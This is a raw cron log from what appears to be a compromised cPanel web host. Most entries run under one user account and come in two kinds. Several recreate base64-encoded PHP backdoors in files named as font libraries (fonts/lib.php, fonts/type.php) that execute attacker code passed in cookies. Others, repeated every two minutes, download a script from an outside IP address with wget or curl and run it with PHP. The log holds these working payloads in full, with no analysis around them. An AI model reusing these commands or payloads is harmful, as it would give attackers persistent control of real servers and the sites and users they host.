Sep 10 07:46:02 ip-184-168-122-23 CROND[29234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:47:01 ip-184-168-122-23 CROND[29386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:47:01 ip-184-168-122-23 CROND[29388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:47:01 ip-184-168-122-23 CROND[29389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:47:01 ip-184-168-122-23 CROND[29390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:48:01 ip-184-168-122-23 CROND[29626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:48:01 ip-184-168-122-23 CROND[29627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:48:01 ip-184-168-122-23 CROND[29628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:48:01 ip-184-168-122-23 CROND[29632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:48:01 ip-184-168-122-23 CROND[29631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:49:01 ip-184-168-122-23 CROND[29765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:49:01 ip-184-168-122-23 CROND[29766]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 07:49:01 ip-184-168-122-23 CROND[29768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:49:01 ip-184-168-122-23 CROND[29770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:49:01 ip-184-168-122-23 CROND[29769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29911]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29908]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:50:01 ip-184-168-122-23 CROND[29910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:50:01 ip-184-168-122-23 CROND[29913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:51:01 ip-184-168-122-23 CROND[30016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:51:01 ip-184-168-122-23 CROND[30018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:51:01 ip-184-168-122-23 CROND[30017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:51:01 ip-184-168-122-23 CROND[30021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:52:01 ip-184-168-122-23 CROND[30115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:52:01 ip-184-168-122-23 CROND[30116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:52:01 ip-184-168-122-23 CROND[30119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:52:01 ip-184-168-122-23 CROND[30118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:52:01 ip-184-168-122-23 CROND[30121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:53:01 ip-184-168-122-23 CROND[30197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:53:01 ip-184-168-122-23 CROND[30199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:53:01 ip-184-168-122-23 CROND[30200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:53:01 ip-184-168-122-23 CROND[30201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:54:01 ip-184-168-122-23 CROND[30371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:54:01 ip-184-168-122-23 CROND[30373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:54:01 ip-184-168-122-23 CROND[30374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:54:01 ip-184-168-122-23 CROND[30375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:54:01 ip-184-168-122-23 CROND[30380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:55:01 ip-184-168-122-23 CROND[30472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:55:01 ip-184-168-122-23 CROND[30477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:55:01 ip-184-168-122-23 CROND[30475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:55:01 ip-184-168-122-23 CROND[30478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:55:01 ip-184-168-122-23 CROND[30476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:55:01 ip-184-168-122-23 CROND[30479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:56:01 ip-184-168-122-23 CROND[30565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:56:01 ip-184-168-122-23 CROND[30566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:56:01 ip-184-168-122-23 CROND[30569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:56:01 ip-184-168-122-23 CROND[30568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:56:01 ip-184-168-122-23 CROND[30570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:57:01 ip-184-168-122-23 CROND[30694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:57:01 ip-184-168-122-23 CROND[30696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:57:01 ip-184-168-122-23 CROND[30701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:57:01 ip-184-168-122-23 CROND[30699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:58:01 ip-184-168-122-23 CROND[30812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:58:01 ip-184-168-122-23 CROND[30814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:58:01 ip-184-168-122-23 CROND[30815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:58:01 ip-184-168-122-23 CROND[30816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:58:01 ip-184-168-122-23 CROND[30818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
